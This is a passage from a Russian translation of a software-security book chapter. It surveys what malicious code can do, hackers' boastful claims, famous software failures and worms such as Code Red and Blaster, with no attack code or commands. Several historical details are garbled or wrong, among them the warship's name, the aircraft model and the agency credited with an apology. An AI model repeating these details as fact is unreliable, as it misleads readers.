Современный шпионаж осуществляется с помощью программного обеспечения.
При информационных атаках на компьютерные системы для доступа к нужной ин>
формации используются уязвимые места в существующем программном обеспече>
нии или потайные ходы, внедренные в программу до ее установки. Уязвимые места в
программах различаются от неправильной конфигурации до ошибок, допущенных
на стадии программирования и разработки проекта. Иногда злоумышленник может
просто запросить нужную информацию от атакуемой программы и получить тре>
буемый результат. В других случаях в систему должен быть внедрен вредоносный
код. Некоторые авторы разделяют вредоносный код на логические бомбы, програм>
мы для перехвата данных, “троянских коней” и т.д. Правда в том, что вредоносный
код способен осуществить практически любые действия. Поэтому классификация
этого кода становится бесполезной, если пытаться ее выполнить исходя из конечно>
го результата применения программы атаки. В некоторых случаях классификация
все же помогает пользователям и аналитикам сетевого трафика различать различные
категории атак. Если рассматривать ситуацию на высшем уровне, то с помощью вре>
доносного кода можно выполнять любую комбинацию следующих действий.
1. Сбор данных:
• перехват пакетов;
• отслеживание нажатий клавиш;
• извлечение информации базы данных.
2. Использование “невидимости”:
• сокрытие данных (например, сокрытие файлов журналов и т.д.);
• сокрытие запущенных процессов;
• сокрытие пользователей, работающих в системе.
3. Скрытые соединения:
• организация “невидимого” удаленного доступа;

Программное обеспечение — источник всех проблем

29

• извлечение секретных данных из системы;
• создание скрытых каналов.
4. Подчинение и управление:
• создание условий для удаленного управления системой;
• вредительство (как вариант подчинения и управления);
• блокирование управления системой (атаки отказа в обслуживании).
Эта книга в основном сфокусирована на технических деталях использования
программного обеспечения в целях создания и внедрения вредоносного кода. Зна>
ния и методы, изложенные в этой книге, не являются чем>то принципиально новым
и применялись небольшой (но растущей) группой людей уже почти 20 лет. Многие
методы атак были по несколько раз изобретены группами хакеров, которые работали
независимо друг от друга.
Только сравнительно недавно методы взлома программного обеспечения были
объединены и отнесены к “отдельной науке”. Исторически так сложилось, что для
достижения одинаковых целей использовались различные методы. Зачастую методы
восстановления исходного кода программы разрабатывались как побочный продукт
в процессе взлома программ. Методы создания вредоносного кода подобны методам
для взлома защиты программного обеспечения (например защиты с помощью за>
плат). Естественно, что разработчики вирусов используют приблизительно одина>
ковые основополагающие идеи. В 1980>х годах было несложно найти программный
код вируса или код для взлома программы. С другой стороны, идеи хакинга про>
грамм зародились среди администраторов UNIX>систем. Многие люди, знакомые с
классическими способами хакинга в сетях, думали прежде всего о получении паро>
лей и создании лазеек в программном обеспечении и совершенно забывали о вредо>
носном коде. В начале 1990>х годов обе “дисциплины” начали сливаться в единое
движение хакеров и по Internet стали распространяться первые программыатаки
для получения удаленного доступа к командному интерпретатору.
Существует множество книг по компьютерной безопасности, но ни в одной из
5
них не описывается атакующий аспект с точки зрения программиста . Все книги по
хакингу, включая и популярную серию Секреты хакеров, можно назвать кратким
изложением сценариев атак хакеров и существующих программ атаки. При этом ос>
новное внимание уделяется проблемам безопасности при атаках по сети и практиче>
ски ничего не говорится о поиске новых программ атаки. Такой подход нельзя на>
звать правильным, поскольку специалисты, которые создают системы защиты, плохо
осознают, против чего же они в действительности борются. Если мы будем продол>
жать защищаться только против плохо вооруженных новичков в деле хакинга, то
наша защита никогда не позволит нам выдержать более сложные атаки настоящих
хакеров, которых становится все больше.
Зачем писать книгу, полную потенциально опасных сведений, которыми могут
воспользоваться злоумышленники? В основном мы хотим рассеять распространен>
ное заблуждение о возможностях программ атаки. Многие люди не понимают, на>
5

В связи с ростом популярности книг, подобных этой, следует отметить, что не за горами
появление отдельной дисциплины по изучению программ и методов атаки на компьютеры. —
Прим. авт.

30

Глава 1

сколько опасными могут быть хакеры и что только несколько современных техноло>
гий по обеспечению защиты в сетях могут остановить этих хакеров. Возможно, дело
в том, что программное обеспечение представляется неким волшебством для боль>
шинства людей, а возможно, дело в неправильной информации, распространяемой
недобросовестными (или просто несведущими) поставщиками программ по обеспе>
чению безопасности.
Хвастливые заявления некоторых хакеров можно считать важным сигналом тре>
воги, который мы больше не вправе игнорировать.

Как думают некоторые хакеры
“Дайте человеку взломанную программу и завтра ему понадобится новая программа, научите его взламывать программы — и он никогда не обратится к вам снова”.
+ORC
Во что верят злоумышленники, которые взламывают программы? Как они узнали о возможности создания программы атаки? Какое учебное заведение окончили? Ответы на эти
вопросы будут важны, если мы хотим найти верный подход к решению проблемы создания
безопасных компьютерных систем.
В некотором смысле осведомленный хакер является одним из самых могущественных людей в современном мире. Хакеры часто перечисляют бесконечное количество удивительных фактов об атаках на программное обеспечение и их результатах. Интересный вопрос
заключается в том, являются ли эти факты правдивыми. Многие из заявлений имеют под
собой реальную основу, и даже если они преувеличены, то все равно дают возможность
оценить ход мыслей хакеров.
Обычно злоумышленники распространяют следующие заявления.


Хакеры проникли в большинство из 2000 глобальных корпораций. Каждое из главных
финансовых учреждений не только было взломано, но хакеры продолжают активно
использовать доступ к этим учреждениям.



Большая часть программного обеспечения, созданного сторонними разработчиками
(по контрактам), содержит многочисленные потайные ходы, и крайне сложно провести независимую оценку этих программ. Компании, которые заказывают программное обеспечение, зачастую вообще не уделяют никакого внимания безопасности
программ.



Каждое мощное государство на планете тратит крупные суммы на создание средств
как для защиты программ, так и для атаки на программное обеспечение.



Брандмауэры, антивирусные программы и системы обнаружения вторжений работают недостаточно надежно. Поставщики программного обеспечения, предназначенного для защиты информационных систем, дают невыполнимые обещания и реализуют защиту только от стандартных атак по сети. Не уделяется достаточного внимания
проблемам безопасности программного обеспечения.

Далее приведены наиболее распространенные “постулаты” хакеров. “Знающий” человек
обычно верит в эти “постулаты” по проблемам безопасности программного обеспечения.


Защиты от копирования программного обеспечения никогда не было и никогда не
будет. Это невозможно даже теоретически.



Владение исполняемым программным кодом в двоичной форме не менее привлекательно (если не более), чем владение исходным кодом программы.

Программное обеспечение — источник всех проблем


Не существует коммерческих тайн программного обеспечения. Принцип “безопасность с помощью неизвестности” (или “о чем не знают, того не украдут”), работает
только на руку потенциальным злоумышленникам, особенно если неизвестность призвана скрыть недостатки программы.



Существуют сотни невыявленных программ атаки, которые используются прямо сейчас, и они останутся невыявленными еще многие годы.



Никто не может надеяться на безопасность своих систем, используя только заплаты
для программ и “полные” списки рассылки по проблемам безопасности. Информация этих источников обычно слишком запаздывает и появляется значительно позже
появления программы атаки.



Большинство подключенных к Internet компьютеров (за очень редким исключением)
могут быть удаленно взломаны прямо сейчас, включая и те, на которых запущено
самые современные, полностью обновленные версии Microsoft Windows, Linux, BSD
и Solaris. То же самое касается и популярных приложений от других производителей,
например Oracle, IBM, SAP, PeopleSoft, Tivoli и HP.



Многие “аппаратные” устройства, подключенные к Internet (за редкими исключениями), могут быть удаленно взломаны прямо сейчас, включая коммутаторы 3COM,
маршрутизаторы Cisco и их программы IOS, брандмауэры Checkpoint и распределители нагрузки F5.



С помощью уязвимых мест в программном обеспечении SCADA, большинство критически важных систем обеспечения, которые управляют подачей воды, газа, нефти и
электрической энергии, могут быть взломаны и управляться удаленно.



Если квалифицированный хакер захочет взломать какую-то конкретную машину, он
добьется успеха. Переустановка операционной системы или загрузка нового образа
системы после ее компрометации не поможет защититься от атаки, поскольку опытный хакер способен переписать встроенные программы для микрочипов системы.



Спутниковые системы были взломаны и продолжают использоваться хакерами.

31

Если верить хакерам, все это происходит в настоящее время. И даже если только некоторые из этих заявлений соответствуют действительности, то пришла пора всем нам вынуть
голову из песка и понять, что происходит на самом деле. Воображать, что информации, изложенной в этой книге, не существует и что она не имеет особого значения, просто глупо.

Ошибки в программах есть всегда
Безопасность программного обеспечения обычно рассматривается только как
проблема работы в Internet, но это далеко не единственная проблема. Хотя коммер>
ческие структуры широко используют Internet, но многие системы работают изоли>
рованно в локальных сетях или вообще на отдельных компьютерах. Очевидно, что
программное обеспечение отвечает за нечто большее, нежели за возможности для
игр в сети или за обмен сообщениями электронной почты и электронными таблица>
ми. При ошибках в программном обеспечении убытки исчисляются миллионами
долларов, что иногда приводит даже к смерти людей. В этом разделе мы напомним
о широко известных случаях ошибок в программах.
Данная информация имеет прямое отношение ко взлому программного обеспе>
чения, поскольку “спонтанные” (т.е. без предумышленного вмешательства хакера)

32

Глава 1

ошибки в программах демонстрируют, что может произойти даже без специально
продуманных действий злоумышленника. Читая об этих случаях, представьте, на что
способен опытный хакер!

Марсоход NASA
Одна простая ошибка в программном обеспечении стоила Соединенным Штатам
около 165 млн. долл., когда спускаемый модуль NASA разбился о поверхность Мар>
са. Проблема оказалась в неправильном переводе английских единиц измерения в
международные единицы измерения. В результате ошибки была выбрана непра>
вильная траектория спуска при приближении к поверхности Марса. Двигатели вы>
ключились преждевременно, в результате чего произошла авария.

Система выдачи багажа в аэропорту Денвера
В современном международном порту города Денвер была создана автоматизиро>
ванная система выдачи багажа, в которой использовались автоматические тележки,
двигающиеся по фиксированному маршруту. При этом все управлялось программным
обеспечением. При тестировании тележки стали двигаться неправильно из>за много>
численных ошибок в программе управления. Они двигались асинхронно, появлялись
то пустые, то перегруженные тележки. Даже груды упавших чемоданов не останавли>
вали тележек. Эти ошибки в программном обеспечении привели к задержке открытия
аэропорта на 11 месяцев, что стоило аэропорту по крайней мере 1 млн. долл. в сутки.

MV-22 Osprey
Военный вертолет MV>22 Osprey (рис. 1.2) представляет собой нечто среднее
между вертолетом вертикального взлета и обычным аэропланом. Сам вертолет и его
аэродинамические характеристики очень сложные, поэтому полет вертолета контро>
лируется с помощью различных систем сложнейшего программного обеспечения.
Как и в большинстве машин подобного класса, в этом вертолете предусмотрено не>
сколько аварийных систем на случай ошибки. Однажды, во время рокового взлета,
один из гидравлических механизмов загорелся. Это была серьезная проблема, но ее
обычно можно было исправить. Однако в данном случае ошибка в программном
обеспечении привела к неисправности аварийной системы. Вертолет разбился и че>
тыре солдата морской пехоты погибли.

Система US Viceness
В 1988 году корабль военно>морских сил США запустил реактивную ракету и
поразил цель, выявленную бортовым радаром и определенную системой слежения
как вражеский военный самолет (рис. 1.3). В действительности “целью” оказался
коммерческий самолет Airbus A320 (рис. 1.4), на котором летели ничего не подозре>
вающие люди. В результате попадания ракеты погибли 290 человек. В официальном
извинении военно>воздушных сил США причиной ошибки были названы непра>
вильные данные, выведенные на экран системы слежения.

Компания Microsoft и вирус любви
Распространение вируса “I LOVE YOU” оказалось возможным из>за ошибки в
клиенте электронной почты Microsoft Outlook, благодаря которой выполнялись
программы, полученные от неизвестных отправителей. Очевидно, никто из команды

Программное обеспечение — источник всех проблем

33

Рис. 1.2. MV22 Osprey в воздухе. Сложное программное обеспечение критически
важно для управления полетом

Рис. 1.3. Истребитель, аналогичный тому, который был определен
системой слежения US Viceness как “вражеский”

программистов Microsoft не подумал о том, на что может быть способен вирус, ис>
пользующий встроенные возможности при выполнении сценариев. Согласно ис>
следованиям, ущерб, нанесенный вирусом “I LOVE YOU”, оценивается миллиар>
дами долларов. Обратите внимание, что эта цена была заплачена пользователями
Outlook, а не компанией Microsoft. Появление этого вируса продемонстрировало,
как Internet>вирус может нанести значительный финансовый ущерб коммерче>
ским организациям.

34

Глава 1

Рис. 1.4. Самолет Airbus A320, сбитый ракетой изза ошибки системы слежения US
Viceness

Сравнительно недавно по просторам Internet пронесся еще один широкомас>
штабный вирус под названием Blaster, ущерб от которого тоже исчисляется милли>
ардами. Распространение этого вируса также является результатом ошибок в про>
граммном обеспечении.
Итак, вывод очевиден: ошибки в программном обеспечении являются наиболее
серьезным уязвимым местом в компьютерных системах. Эти недостатки программ
приводят к огромным финансовым потерям. Подобным образом ошибки позволяют
злоумышленникам преднамеренно наносить ущерб и красть важную информацию. В
конечном счете ошибки в программном обеспечении приводят к появлению про>
грамм атаки.

Три основные проблемы
Почему же так трудно контролировать работу программного обеспечения? Три
основных фактора превращают управление рисками при использовании программ в
основную задачу современности. Этими факторами являются сложность, расширяе>
мость и возможность взаимодействия.

Сложность
Современное программное обеспечение довольно сложное, и есть все предпо>
сылки считать, что оно станет еще сложнее в ближайшем будущем. Например, в
1983 году программа Microsoft Word состояла только из 27000 строк кода, но, со>
6
гласно данным Натана Мирвольда (Nathan Myhrvold) , к 1995 году эта программа
увеличилась уже до 2 млн. строк кода! Программисты потратили годы на то, чтобы
придумать единицы измерения для программного обеспечения. Целые книги по>
священы существующим системам измерения размера программ. Но только одна
единица измерения позволяет установить соотношение с числом ошибок — количе>
ство строк кода (LOC). И действительно, в некоторых кругах специалистов по про>
граммированию число строк кода стало единственным приемлемым средством из>
мерения объема программ.
Количество ошибок на тысячу строк кода (KLOC) изменяется для каждой кон>
кретной системы. Достоверное значение варьируется от 5 до 50 ошибок на 1000
6

В журнале Wired Magazine есть статья по этой теме, доступная по адресу http://
www.wired.com/wired/archive/3.09/myhrvold.html?person=gordon_moore&topic_
set=wiredpeople.

Программное обеспечение — источник всех проблем

35

строк кода. Даже в системах, которые прошли строгий контроль качества (Quality
Assurance — QA) все равно содержатся ошибки — приблизительно 5 ошибок на 1000
строк кода. В программной системе, которая прошла тестирование только на пред>
мет работоспособности функциональных возможностей, что справедливо для боль>
шей части коммерческого программного обеспечения, присутствует намного больше
ошибок — около 50 ошибок на 1000 строк кода. Большая часть программ попадает в
последнюю категорию. Многие поставщики программного обеспечения неверно
предполагают, что они выполняют строгий контроль качества QA, хотя в действи>
тельности их методы тестирования являются весьма поверхностными. Строгий кон>
троль качества программного обеспечения заключается не только в тестировании
возможностей программ, но и должен включать в себя тестовое внесение неисправ>
ностей и анализ ошибок.
Чтобы оценить всю сложность современного программного обеспечения, проана>
лизируйте следующую информацию.
Количество строк кода

Система

400000

Solaris 7

17 млн

Netscape

40 млн

Космическая станция

10 млн

Космический челнок

7 млн

Boeing 777

35 млн

NT5

1,5 млн

Linux

менее 5 млн

Windows 95

40 млн

Windows XP

Как мы указывали ранее, для приведенных здесь систем характерна частота оши>
бок от 5 до 50 на 1000 строк кода.
Для демонстрации постоянного роста количества строк кода рассмотрим его на
примере операционных систем компании Microsoft. На рис. 1.5 показано, как вырос
объем операционной системы Windows, начиная с ее появления в 1990 году в виде
версии Windows 3.1 (3 млн. строк программного кода) и заканчивая ее последней
версией Windows XP, вышедшей в 2002 году (40 млн. строк программного кода).
Один простой, но не слишком радостный факт справедлив для всего программного
обеспечения: чем больше строк, тем больше ошибок. Если эта тенденция сохрани>
7
лась, то в Windows XP должно быть достаточно много ошибок . Здесь возникает
очевидный вопрос: какое количество таких ошибок приводит к проблемам системы
безопасности? И какая существует связь между ошибками и другими уязвимыми
местами и разработкой хакерами программ атаки?
Настольный компьютер под управлением Windows XP и приложения для этой
системы зависят от нормальной работы ядра. Это касается и приложений, обеспечи>
вающих защиту от атак хакеров. Однако сама система Windows XP состоит из при>
7

Что и подтвердилось после выявления нескольких серьезных уязвимых мест в течение не
скольких месяцев после выпуска этой операционной системы. — Прим. авт.

36

Глава 1

близительно 40 млн. строк кода, и приложения тоже соответственно становятся
сложнее. Когда система становится такой сложной, ошибки просто неизбежны.
45

Миллионов строк кода

40
35
30
25
20
15
10
5
0

Win
3.1
(1990)

Win
NT
(1995)

Win
95
(1997)

NT 4.0
(1998)

Win
98
(1999)

NT 5.0
(2000)

Win
2k
(2001)

XP
(2002)

Рис. 1.5. Чем больше строк кода, тем больше ошибок и недостатков

Кроме того, усложняет проблему широкое использование низкоуровневых язы>
ков программирования, таких как C и C++, которые не способны защитить от про>
стейших атак, например от атак на переполнение буфера (которые мы рассмотрим в
этой книге). Кроме дополнительных возможностей для взлома вследствие ошибок и
других просчетов, вообще в сложных системах как таковых легче скрыть вредонос>
ный код. Теоретически мы можем проверить и доказать, что в простой программе
нет ошибок, влияющих на безопасность, но в действительности это невозможно, да>
же если речь идет о самой простой современной настольной системе, и уж точно не>
вероятно в отношении систем масштаба предприятия.

Больше строк, больше ошибок
Рассмотрим сеть из 30000 узлов (типичный размер сети средней корпорации). На
каждой рабочей станции сети есть программное обеспечение в виде исполняемых
файлов (EXE) и библиотек, а также около 3000 исполняемых модулей. Средний
размер каждого модуля около 100 Кбайт. Предполагая, что в каждой строке кода со>
держится по 10 байт кода, и задав минимальное количество ошибок (5) на 1000
строк кода, получим, что в каждом исполняемом модуле содержится около
50 ошибок.

~ 100 Кбайт
исполняемый файл
5 ошибок
1000 строк кода

=

=

10 тыс. строк кода
исполняемый файл
50 ошибок

исполняемый файл

Программное обеспечение — источник всех проблем

37

Теперь вспомним, что на каждом хосте содержится около 3000 исполняемых файлов.
Это означает, что на каждый компьютер сети приходится около 150000 уникальных
ошибок в программном коде.

50 ошибок
исполняемый файл

×

3000 исполняемых файлов
хост

=

150000 ошибок
хост

Конечно, это огромное количество ошибок. Но проблемы только начинаются.
Определим количество возможных целей атаки и количество копий однотипных
ошибок, которые доступны как цели для атаки. Поскольку эти же 150000 ошибок
повторяются множество раз на 30 тыс. хостов, то число потенциальных целей для
хакера поистине огромно. В сети из 30 тыс. хостов насчитывается около 4,5 млрд.
ошибок, благоприятствующих проведению атак (согласно нашим оценкам, только
150 тыс. из этих ошибок уникальны, но это число не точно).

150000 ошибок
хост

×

30000 хостов
сеть

= 4, 5 млрд. ошибок в сети

Если представить, что 10 % всех ошибок приводят к проблемам в системе безо>
пасности и что только 10 % из них могут быть использованы при удаленных атаках
(по сети), то согласно нашим данным, в этой небольшой локальной сети будет 5 млн.
уязвимых мест в программном обеспечении, доступных для удаленной атаки. Уст>
ранение 5 млн. уязвимых мест является серьезной задачей, а правильное управление
заплатами для 5 млн. уязвимых мест, разбросанных по 30000 хостам, еще сложнее.

4,5 млрд × 10% = 500 млн. ошибок по безопасности
500 млн × 10% = 5 млн. доступных удаленно уязвимых мест
Согласно этим цифрам, хакер заранее находится в выигрышном положении. И
неудивительно, что при использовании одинаковых операционных систем и прило>
жений (что усугубляет значение этих цифр) вирус Blaster смог так успешно распро>
8
страниться .

Расширяемость
Современные системы, которые строятся на основе виртуальных машин (VM),
обеспечивают безопасность типов (type safety) и выполняют динамические проверки
прав доступа (таким образом разрешается выполнение непроверенного переносимо>
го кода), называют расширяемыми системами (extensible systems). Наиболее извест>
ные примеры — Java и .NET. Поскольку на расширяемую систему можно добавлять
обновления или расширения, которые еще называют переносимым кодом (mobile
code), то функциональные возможности такой системы могут постоянно увеличи>
ваться. Например, виртуальная машина Java (Java Virtual Machine — JVM) может

8

Многие специалисты в области безопасности предполагают, что решению этой проблемы
может способствовать разнообразие операционных систем и приложений, однако экспери
менты показывают, что реализация этой идеи на практике намного сложнее, нежели на сло
вах. — Прим. авт.

38

Глава 1

задавать класс в пространстве имен и потенциально разрешать другим классам
взаимодействовать с ним.
Большинство современных операционных систем поддерживают расширяемость
с помощью динамически загружаемых драйверов устройств и динамически загру>
жаемых модулей. В современных приложениях, таких как текстовые процессоры,
клиенты электронной почты, программы для работы с электронными таблицами и
Web>браузеры, расширяемость поддерживается с помощью сценариев, элементов
управления, компонентов, динамически загружаемых библиотек и аплетов. Ни одно
из этих средств не является новым. И действительно, программное обеспечение яв>
ляется основным способом расширения возможностей компьютеров, предназначен>
ных для решения стандартных задач. Именно программы определяют работу ком>
пьютера и оригинальным способом расширяют его базовые возможности.
К сожалению, истинная сущность современных расширяемых систем усложняет
задачу безопасности. Например, очень трудно предотвратить проникновение на
компьютер вредоносного кода, замаскированного под расширение, т.е. расширение,
которое позволяет расширить функциональные возможности системы (например
механизм для загрузки классов Java), должно создаваться с учетом требований безо>
пасности. Более того, исследование безопасности расширяемой системы должны
проводиться намного тщательней, нежели цельной системы, не подверженной изме>
нениям. Как можно проверить код, который только что доставлен? Эти и другие
проблемы безопасности расширяемого кода подробно рассмотрены в книге Securing
Java (Мак>Гроу и Фелтен, 1999).
Компания Microsoft резко перешла на переносимый код с внедрением своей
платформы .NET Framework. Как показано на рис. 1.6, архитектура .NET имеет мно>
го общего с Java. Главное отличие заключается в наличии многоплатформенной
поддержки. Но в любом случае, расширяемые системы будут использоваться и
дальше. Вскоре сам термин переносимый код будет излишним, поскольку весь код
станет переносимым.
Но, к сожалению, у переносимого кода, который предназначен для расширения
возможностей программ, есть оборотная сторона. В некотором смысле вирусы и
“черви” тоже можно назвать переносимым кодом. Вот почему исполняемые вложе>
ния в сообщения электронной почты и виртуальные машины, которые запускают
код, внедренный на Web>страницы, становятся ночным кошмаром для специалистов
по безопасности. Классические методы атак, включая распространение вирусов че>
рез дискеты и передачу инфицированных исполняемых файлов с помощью модемов,
сегодня заменены электронной почтой и содержимым Web>страниц. Современные
хакеры широко используют атаки с помощью переносимого кода. Вирусы и “черви”
не просто распространяются по сети, они устанавливают потайные ходы, определя>
ют тип системы и реализуют компрометацию компьютера, т.е. хакер получает зара>
женный компьютер в свое распоряжение.

Программное обеспечение — источник всех проблем

Исходный код
(любой
поддерживаемый
язык)

Компилятор
исходного
кода

Метаданные

MSIL &
Meta+data
(.OBJ)

Внутренний
компилятор

Промежуточный
код и мета+
данные (.OBJ)

Все элементы этого
блока могут представлять
данные и используют
проверки прав
доступа

Машинный код
и метаданные
(.OBJ)

Сборка
(.EXE или
.DLL)

Общеязыковая среда
исполнения (CLR)

Загрузчик
классов

Кэш
сборки

Верификатор

Библиотеки
.NET Framework
(.DLL)

Данные
(из различных
источников)
Профили+
рующие
службы

Применение
политики

Процесс
компиляции

Компоновщик

Управление
политикой
безопасности

Политика

39

Проверки
прав доступа
(исследование
стека)

Отладочные
службы

JIT+
компилятор

Изолированное
хранилище

Управляемый
машинный код
Набор прав
доступа

Программа
управления
исполняемым
кодом

Вызов удаленного
метода
Исполнение

Неуправляемый
машинный код

Рис. 1.6. Архитектура .NET Framework. Обратите внимание на архитектурное подобие
с платформой Java: верификация, оперативная компиляция (JITкомпиляция), загрузка
классов, подписание кода и виртуальная машина

“Золотая эра” вирусов наступила в начале 1990>х годов, когда они распространя>
лись с помощью исполняемых файлов и кочевали с одного компьютера на другой с
помощью дискет. “Червь” представляет собой особую форму вируса, который само>
стоятельно распространяется по сети. “Черви” являются очень опасной модифика>
цией вирусов, особенно с учетом современного размаха использования сетей.

40

Глава 1

“Черви” стали активно распространяться по сетям в конце прошлого века, хотя мно>
гие опасные “черви” (разработанные хакерами>энтузиастами) так никогда и не будут
запущены в сеть, а значит, никогда не будут исследованы. С момента появления пер>
вых “червей” технология создания этих программ сделала значительный шаг вперед.
“Черви” позволяют хакеру провести “ковровое бомбометание” по всей глобальной
сети, а также атаку на конкретное уязвимое место в максимальном масштабе. Это
значительно усиливает суммарный эффект атаки и позволяет получить результаты,
которые никогда не были бы достигнуты при поочередных атаках хакера вручную на
разные компьютеры. В результате атак “червей” в большинство компьютерных сетей
1000 глобальных корпораций были внедрены потайные ходы. В сообществе хакеров
ходят слухи о существовании так называемого Списка успеха 500 (Fortune 500 List) —
списка действующих потайных ходов в компьютерные сети 500 крупнейших компа>
ний мира.
Один из первых вредоносных “червей”, которому удалось поразить глобальную
сеть и который широко использовался как средство взлома, был создан группой ха>
керов>единомышленников, которые называли себя ADM (Association De Malfaiteurs).
9
10
“Червь” ADM w0rm использует ошибку переполнения буфера в DNS>серверах . По>
сле заражения “червем”, взломанный компьютер начинает сканирование сети в по>
исках других уязвимых серверов. Этот “червь” заразил десятки тысяч компьютеров,
в прессе появилось немало заметок о его распространении. Некоторые из первых
жертв атаки “червя” ADM остались зараженными по сей день. Особое беспокойство
вызывает тот факт, что уязвимое место, использованное для распространения
“червя” ADM, было изучено весьма поверхностно. При этом структура “червя” по>
зволяет без труда добавить в него другой код для проведения атаки. Таким образом,
“червь” сам по себе является расширяемой системой. Остается только догадываться,
сколько версий этого “червя” сейчас “разгуливают” по Internet.
В 2001 году сообщение о знаменитом сетевом “черве” под названием Code Red
вышло на первых полосах газет. Этот “червь” поразил сотни тысяч серверов, в том
числе компьютеры, на которых был запущен ISS>сервер от компании Microsoft. При
этом использовалась очень простая, но, к сожалению, широко распространенная
11
ошибка программного обеспечения . Как это бывает обычно при успешной и раз>
рекламированной атаке “червя”, появилось несколько его модификаций. “Червь”
Code Red заражает сервер, который затем начинает сканирование сети в поисках но>
вых целей атаки. В оригинальной версии Code Red преимущественно осуществля>
лось сканирование систем, которые находились поблизости от пораженного хоста.
Этим ограничивалась скорость распространения этого “червя”.
Совсем немного времени прошло после дебюта Code Red в глобальной сети, как
появилась его усовершенствованная версия, в которой использовался улучшенный
алгоритм сканирования сети. Это еще больше ускорило темпы распространения
Code Red. Успех “червя” Code Red основан на очень простом недостатке в про>
9

Архивный файл ADMw0rm-v1.tar можно найти на различных Webсайтах в Internet. В этом
файле содержится исходный код “червя” ADM w0rm, впервые появившегося весной 1998 года.
10
Более подробно об ошибках в пакете BIND можно прочесть по адресу http://www.
cert.org/advisories/CA-98.05.bind_problems.html.
11
“Червь” Code Red использует ошибку переполнения буфера в библиотеке idq.dll, ком
понента ISAPI.

Программное обеспечение — источник всех проблем

41

граммном обеспечении, которое широко использовалось более 20 лет. Повсеместное
наличие этого недостатка на Windows>системах, безусловно, помогло быстрому рас>
пространению Code Red.
Подобные результаты были достигнуты еще несколькими “червями”, включая
Blaster и Slammer. Мы более подробно рассмотрим вредоносный код и его влияние
на использование программного обеспечения далее в этой книге. Мы также изучим
средства хакеров, с помощью которых они взламывают чужие программы.

Взаимодействие по сети
Рост масштаба сетей и глобальное подключение компьютеров к Internet привело
к одновременному увеличению количества возможных атак, причем методы органи>
зации этих атак максимально упростились. Даже небольшие ошибки в программах
стали очень быстро распространяться по всей сети и выводить из строя огромное ко>
личество компьютеров. Например, множество таких фактов приводится в списке
рассылки COMP.RISKS и в книге ComputerRelated Risks (автор Нойманн, 1995).
Поскольку доступ по сети не требует непосредственного присутствия человека,
то запуск автоматических атак осуществляется довольно просто. Автоматически за>
пускаемые атаки изменили сам характер угроз в информационном мире. Рассмотрим
первые формы хакинга. В 1975 году щелающие выполнять бесплатные телефонные
звонки могли воспользоваться устройством под названием Blue Box. Такие устрой>
ства продавались в студенческих городках, но еще нужно было найти продавца.
Кроме того, эти устройства тоже стоили денег. Таким образом, только ограниченный
круг людей владел устройствами Blue Box и, поэтому угроза распространялась
крайне медленно. Сравним это с нашим временем. Если обнаруживается уязвимое
место, которое позволяет злоумышленникам получить доступ, например, к платным
телепрограммам, то информация немедленно опубликовывается в Internet и за не>
сколько часов миллионы людей могут загрузить себе программу атаки.

Рис. 1.7. Это сложный мобильный телефон от
компании Nokia. После того как стало возмож
ным обмениваться сообщениями электронной
почты и работать в Web с помощью мобильных
телефонов, последние стали более вероятной це
лью для атак хакеров

42

Глава 1

Постоянно разрабатываются новые протоколы и среды обмена информацией.
Как результат этого процесса появляется код, который никогда не будет проверен.
Например, в ваш мобильный телефон встроены операционная и файловая системы.
На рис. 1.7 показан новый усовершенствованный мобильный телефон. Представьте,
что будет, если вирус поразит сеть связи мобильных телефонов.
Сети, которые соединяют множество компьютеров, особенно уязвимы для атак
вирусов и простоев в работе, возникающих в результате этих атак. Парадокс в том,
что увеличение количества соединений является классическим методом повышения
доступности и надежности, но увеличение количества путей доступа непременно
способствует “живучести” вируса.
Наконец, наиболее важным аспектом для глобальной сети является экономика.
Экономика любого государства связана с экономикой других стран. Миллиарды
электронных долларов передаются по сетям каждую секунду, триллионы — каждый
день. Одна только сеть SWIFT, которая объединяет 7000 международных коммерче>
ских организаций, ежедневно осуществляет переводы триллионов долларов. В этой
взаимосвязанной системе соединено огромное количество программных систем, ко>
торые постоянно обмениваются потоками цифр. Государства и транснациональные
корпорации зависят от этой современной “фабрики” информации. Ошибка в этой
системе способна привести к огромной катастрофе, дестабилизировать экономику
целых государств за несколько секунд. А если произойдет серия последовательных
ошибок, то весь виртуальный мир может оказаться в состоянии коллапса. Вероятно,
одной из целей террористического акта 11 сентября 2001 года было разрушение ми>
ровой банковской системы. Это реальная современная угроза, с которой нам пред>
стоит столкнуться лицом к лицу.
Широкая общественность никогда не узнает, сколько атак на программное обес>
печение проводится ежедневно на компьютерные сети финансовых организаций.
Банки очень хорошо охраняют свои секреты. Учитывая тот факт, что многие компь>
ютеры, которые принадлежали арестованным хакерам и террористам, были конфи>
скованы, можно смело предположить, что в круг их деятельности наверняка входили
компьютерные сети банковских учреждений.

Выводы
Как видим, три тенденции к увеличению сложности систем, к добавлению воз>
можностей расширения и повсеместного объединения компьютеров в сети, делают
проблему обеспечения безопасной работы компьютерных сетей более острой, чем
когда>либо ранее. К сожалению специалистов по безопасности, эти три проблемы
программного обеспечения значительно упрощают его взлом!
В марте 2003 года Computer Security Institute выпустил свой восьмой ежегодный
обзор, в котором сообщалось, что 56% из 524 крупных компаний и организаций по>
несли финансовые потери в результате взломов программного обеспечения, которые
произошли за прошедший год. Большая часть этих взломов была проведена через
Internet. Убытки, понесенные 251 компанией в результате действий хакеров, в сумме
составили 202 млн. долл. Подобные факты неоспоримо свидетельствуют о растущей
важности проблемы безопасности программного обеспечения.

Программное обеспечение — источник всех проблем

43

Десять перспективных направлений
Попытаемся определить десять наиболее перспективных направлений в развитии
программного обеспечения.
1. Исчезновение операционных систем.
2. Широкое распространение беспроводных сетей.
3. Появление встроенных систем и специализированных вычислительных уст>
ройств.
4. Действительно распределенные вычисления.
5. Эволюция “объектов” и компонентов.
6. Фабрика информации (возможность повсеместного доступа к вычислительным
ресурсам).
7. Искусственный интеллект, управление знаниями и оперативные вычисления.
8. Оплата за отдельный байт (или цикл работы процессора, или функцию).
9. Высокоуровневое проектирование/средства программирования.
10. Запуск программ в зависимости от места их выполнения.
Из>за короткого жизненного цикла программного обеспечения его взлом выпол>
няется довольно просто. Очевидно, что эволюция программного обеспечения не бу>
дет замедляться. Уже одно только это обстоятельство делает чрезвычайно сложным
создание безошибочно работающих программ, а злоумышленникам предоставляется
в результате широкое поле деятельности.

Что такое безопасность программного обеспечения?
Определение принципов работы программного обеспечения является процессом,
который включает в себя установку и систематизацию правил политики, а затем
реализацию этой политики с помощью соответствующей технологии. Не существует
никаких волшебных или универсальных средств для обеспечения безопасной рабо>
ты программ. Усовершенствованные методы проверки кода очень полезны для вы>
